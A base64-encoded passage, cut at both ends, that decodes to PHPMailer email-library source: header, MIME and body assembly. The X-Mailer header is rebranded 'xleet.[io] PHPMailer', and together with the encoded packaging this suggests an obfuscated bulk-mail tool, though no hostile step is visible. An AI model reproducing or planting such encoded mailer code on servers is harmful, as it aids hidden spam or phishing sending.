tOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgIGlmICgkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycpIHsKICAgICAgICAgICAgJHRoaXMtPk1lc3NhZ2VEYXRlID0gc2VsZjo6cmZjRGF0ZSgpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEYXRlJywgJHRoaXMtPk1lc3NhZ2VEYXRlKTsKCiAgICAgICAgLy8gVG8gYmUgY3JlYXRlZCBhdXRvbWF0aWNhbGx5IGJ5IG1haWwoKQogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8pIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+dG8gYXMgJHRvYWRkcikgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5TaW5nbGVUb0FycmF5W10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChjb3VudCgkdGhpcy0+dG8pID4gMCkgewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnVG8nLCAkdGhpcy0+dG8pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoY291bnQoJHRoaXMtPmNjKSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdUbycsICd1bmRpc2Nsb3NlZC1yZWNpcGllbnRzOjsnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnRnJvbScsIGFycmF5KGFycmF5KHRyaW0oJHRoaXMtPkZyb20pLCAkdGhpcy0+RnJvbU5hbWUpKSk7CgogICAgICAgIC8vIHNlbmRtYWlsIGFuZCBtYWlsKCkgZXh0cmFjdCBDYyBmcm9tIHRoZSBoZWFkZXIgYmVmb3JlIHNlbmRpbmcKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmNjKSA+IDApIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnQ2MnLCAkdGhpcy0+Y2MpOwogICAgICAgIH0KCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IEJjYyBmcm9tIHRoZSBoZWFkZXIgYmVmb3JlIHNlbmRpbmcKICAgICAgICBpZiAoKAogICAgICAgICAgICAgICAgJHRoaXMtPk1haWxlciA9PSAnc2VuZG1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJyBvciAkdGhpcy0+TWFpbGVyID09ICdtYWlsJwogICAgICAgICAgICApCiAgICAgICAgICAgIGFuZCBjb3VudCgkdGhpcy0+YmNjKSA+IDAKICAgICAgICApIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgnQmNjJywgJHRoaXMtPmJjYyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoY291bnQoJHRoaXMtPlJlcGx5VG8pID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdSZXBseS1UbycsICR0aGlzLT5SZXBseVRvKTsKICAgICAgICB9CgogICAgICAgIC8vIG1haWwoKSBzZXRzIHRoZSBzdWJqZWN0IGl0c2VsZgogICAgICAgIGlmICgkdGhpcy0+TWFpbGVyICE9ICdtYWlsJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdTdWJqZWN0JywgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSkpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCR0aGlzLT5NZXNzYWdlSUQgIT0gJycpIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSAkdGhpcy0+TWVzc2FnZUlEOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5sYXN0TWVzc2FnZUlEID0gc3ByaW50ZignPCVzQCVzPicsICR0aGlzLT51bmlxdWVpZCwgcmFuZCgpLicuY29tJyk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICd4bGVldC5baW9dIFBIUE1haWxlcicKICAgICAgICAgICAgKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbXlYbWFpbGVyID0gdHJpbSgkdGhpcy0+WE1haWxlcik7CiAgICAgICAgICAgIGlmICgkbXlYbWFpbGVyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdYLU1haWxlcicsICRteVhtYWlsZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPkNvbmZpcm1SZWFkaW5nVG8gIT0gJycpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnRGlzcG9zaXRpb24tTm90aWZpY2F0aW9uLVRvJywgJzwnIC4gJHRoaXMtPkNvbmZpcm1SZWFkaW5nVG8gLiAnPicpOwogICAgICAgIH0KCiAgICAgICAgLy8gQWRkIGN1c3RvbSBoZWFkZXJzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPkN1c3RvbUhlYWRlciBhcyAkaGVhZGVyKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICB0cmltKCRoZWFkZXJbMF0pLAogICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcih0cmltKCRoZWFkZXJbMV0pKQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01JTUUtVmVyc2lvbicsICcxLjAnKTsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIC8qKgogICAgICogR2V0IHRoZSBtZXNzYWdlIE1JTUUgdHlwZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRNYWlsTUlNRSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICcnOwogICAgICAgICRpc211bHRpcGFydCA9IHRydWU7CiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZSc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9taXhlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0JzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZSc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgLy8gQ2F0Y2hlcyBjYXNlICdwbGFpbic6IGFuZCBjYXNlICcnOgogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJ0NvbnRlbnQtVHlwZTogJyAuICR0aGlzLT5Db250ZW50VHlwZSAuICc7IGNoYXJzZXQ9JyAuICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAgICAgICAgICRpc211bHRpcGFydCA9IGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIC8vIFJGQzEzNDEgcGFydCA1IHNheXMgN2JpdCBpcyBhc3N1bWVkIGlmIG5vdCBzcGVjaWZpZWQKICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nICE9ICc3Yml0JykgewogICAgICAgICAgICAvLyBSRkMgMjA0NSBzZWN0aW9uIDYuNCBzYXlzIG11bHRpcGFydCBNSU1FIHBhcnRzIG1heSBvbmx5IHVzZSA3Yml0LCA4Yml0IG9yIGJpbmFyeSBDVEUKICAgICAgICAgICAgaWYgKCRpc211bHRpcGFydCkgewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5FbmNvZGluZyA9PSAnOGJpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nJywgJzhiaXQnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8vIFRoZSBvbmx5IHJlbWFpbmluZyBhbHRlcm5hdGl2ZXMgYXJlIHF1b3RlZC1wcmludGFibGUgYW5kIGJhc2U2NCwgd2hpY2ggYXJlIGJvdGggN2JpdCBjb21wYXRpYmxlCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nJywgJHRoaXMtPkVuY29kaW5nKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkxFOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm5zIHRoZSB3aG9sZSBNSU1FIG1lc3NhZ2UuCiAgICAgKiBJbmNsdWRlcyBjb21wbGV0ZSBoZWFkZXJzIGFuZCBib2R5LgogICAgICogT25seSB2YWxpZCBwb3N0IHByZVNlbmQoKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpwcmVTZW5kKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U2VudE1JTUVNZXNzYWdlKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPk1JTUVIZWFkZXIgLiAkdGhpcy0+bWFpbEhlYWRlciAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBc3NlbWJsZSB0aGUgbWVzc2FnZSBib2R5LgogICAgICogUmV0dXJucyBhbiBlbXB0eSBzdHJpbmcgb24gZmFpbHVyZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBzdHJpbmcgVGhlIGFzc2VtYmxlZCBtZXNzYWdlIGJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZUJvZHkoKQogICAgewogICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgLy9DcmVhdGUgdW5pcXVlIElEcyBhbmQgcHJlc2V0IGJvdW5kYXJpZXMKICAgICAgICAkdGhpcy0+dW5pcXVlaWQgPSBtZDUodW5pcWlkKHRpbWUoKSkpOwogICAgICAgICR0aGlzLT5ib3VuZGFyeVsxXSA9ICdiMV8nIC4gJHRoaXMtPnVuaXF1ZWlkOwogICAgICAgICR0aGlzLT5ib3VuZGFyeVsyXSA9ICdiMl8nIC4gJHRoaXMtPnVuaXF1ZWlkOwogICAgICAgICR0aGlzLT5ib3VuZGFyeVszXSA9ICdiM18nIC4gJHRoaXMtPnVuaXF1ZWlkOwoKICAgICAgICBpZiAoJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldE1haWxNSU1FKCkgLiAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+c2V0V29yZFdyYXAoKTsKCiAgICAgICAgJGJvZHlFbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICAkYm9keUNoYXJTZXQgPSAkdGhpcy0+Q2hhclNldDsKICAgICAgICAvL0NhbiB3ZSBkbyBhIDctYml0IGRvd25ncmFkZT8KICAgICAgICBpZiAoJGJvZHlFbmNvZGluZyA9PSAnOGJpdCcgYW5kICEkdGhpcy0+aGFzOGJpdENoYXJzKCR0aGlzLT5Cb2R5KSkgewogICAgICAgICAgICAkYm9keUVuY29kaW5nID0gJzdiaXQnOwogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZwogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkdGhpcy0+RW5jb2RpbmcgYW5kIHNlbGY6Omhhc0xpbmVMb25nZXJUaGFuTWF4KCR0aGlzLT5Cb2R5KSkgewogICAgICAgICAgICAkdGhpcy0+RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICd1cy1hc2NpaSc7CiAgICAgICAgfQogICAgICAgIC8vSWYgbGluZXMgYXJlIHRvbyBsb25nLCBhbmQgd2UncmUgbm90IGFscmVhZHkgdXNpbmcgYW4gZW5jb2RpbmcgdGhhdCB3aWxsIHNob3J0ZW4gdGhlbSwKICAgICAgICAvL2NoYW5nZSB0byBxdW90ZWQtcHJpbnRhYmxlIHRyYW5zZmVyIGVuY29kaW5nCiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICRhbHRCb2R5RW5jb2RpbmcgYW5kIHNlbGY6Omhhc0xpbmVMb25nZXJUaGFuTWF4KCR0aGlzLT5BbHRCb2R5KSkgewogICAgICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJ3F1b3RlZC1wcmludGFibGUnOwogICAgICAgIH0KICAgICAgICAvL1VzZSB0aGlzIGFzIGEgcHJlYW1ibGUgaW4gYWxsIG11bHRpcGFydCBtZXNzYWdlIHR5cGVzCiAgICAgICAgJG1pbWVwcmUgPSAiVGhpcyBpcyBhIG11bHRpLXBhcnQgbWVzc2FnZSBpbiBNSU1FIGZvcm1hdC4iIC4gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgIHN3aXRjaCAoJHRoaXMtPm1lc3NhZ2VfdHlwZSkgewogICAgICAgICAgICBjYXNlICdpbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnYXR0YWNobWVudCcsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJycsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnYXR0YWNobWVudCcsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0JzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGFsdEJvZHlDaGFyU2V0LCAndGV4dC9wbGFpbicsICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+QWx0Qm9keSwgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsICd0ZXh0L2h0bWwnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHR